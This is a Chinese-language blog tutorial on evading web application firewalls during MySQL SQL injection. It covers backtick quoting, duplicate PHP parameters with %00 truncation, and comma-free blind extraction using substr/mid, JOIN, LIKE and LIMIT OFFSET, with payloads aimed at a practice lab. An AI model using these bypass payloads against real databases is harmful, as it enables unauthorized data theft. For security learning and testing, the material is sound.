当前位置:网站首页>SQL 注入绕过(二)
SQL 注入绕过(二)
2022-06-28 00:17:00 【Aτθ】
一、反引号绕过
在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

二、脚本语言特性绕过
1、介绍
在 php 语言中,id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 会去匹配第一个 id 参数1%00, %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中,id 就等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性

2、实操1


3、实操2
?name=vince%00&name=' union select 1,database()--+&submit=1

三、逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号。
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空,select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以,可以不使用逗号进行 SQL 注入。
绕过方法如下:
1、第一种方式:substr 截取字符串
查询当前库第一个字符:
select(substr(database() from 1 for 1));
查询 p 等于 select(substr(database() from 1 for 1)),页面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D,这样就避免了单引号。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、第二种方式:mid 截取字符串
这个 min 函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、第三种方式: 使用 join 绕过
使用 join 自连接两个表:
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b,其中a 和 b 分别是表的别名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
这里也没有使用逗号,从而绕过 waf 对逗号的拦截。

4、第四种方式:like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1,否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串,最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

5、第五种方式:limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目,limit 0,1 返回条一条记录。如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截。

边栏推荐
- 数据库查询优化:主从读写分离及常见问题
- How fiddle uses agents
- 【sylixos】i2c设备驱动创建和使用
- Jenkins - Pipeline 语法
- Appium自动化测试基础— 补充:App的包名(appPackage)和启动名(appActivity)
- Overview of drug discovery-01 overview of drug discovery
- style中的scoped属性和lang属性
- JS 数组随机取值(随机数组取值)
- 【嵌入式基础】内存(Cache,RAM,ROM,Flash)
- [elt.zip] openharmony paper Club - memory compression for data intensive applications
猜你喜欢

Jenkins - Pipeline 语法
![pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...](/img/b4/8921c3ca5cd5a547768489d4a79202.png)
pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...

Jenkins - accédez à la variable de paramètre personnalisée Jenkins, en traitant les espaces dans la valeur de la variable

Adobe Premiere foundation - sound adjustment (volume correction, noise reduction, telephone tone, pitch shifter, parameter equalizer) (XVIII)

Solve storage problems? WMS warehouse management system solution

Differences between cesium polygon extrudedheight and height

Evaluation - grey correlation analysis

Cesium obtains the latitude and longitude range of the screen

Jenkins - 邮件通知 Email Notification 插件

Adobe Premiere基础-编辑素材文件常规操作(脱机文件,替换素材,素材标签和编组,素材启用,便捷调节不透明度,项目打包)(十七)
随机推荐
To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
Hi, you have a code review strategy to check!
MySQL十种锁,一篇文章带你全解析
To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
OS模块与OS.path 模块的学习
Description du format geojson (détails du format)
Adobe Premiere Basics - general operations for editing material files (offline files, replacing materials, material labels and grouping, material enabling, convenient adjustment of opacity, project pa
How to study efficiently
Differences between cesium polygon extrudedheight and height
面试官问:能否模拟实现JS的new操作符
1382. 将二叉搜索树变平衡-常规方法
PV operation primitive
205. 同构字符串
Shardingsphere-proxy-5.0.0 establish MySQL read / write separation connection (6)
Centos8 operation record command version Yum redis MySQL Nacos JDK
【sylixos】i2c设备驱动创建和使用
Cesium 多边形(polygon)extrudedHeight 和 height 的区别
Appium automation test foundation - Supplement: app package name and appactivity
766. toplitz matrix
嵌入式必学!硬件资源接口详解——基于ARM AM335X开发板 (下)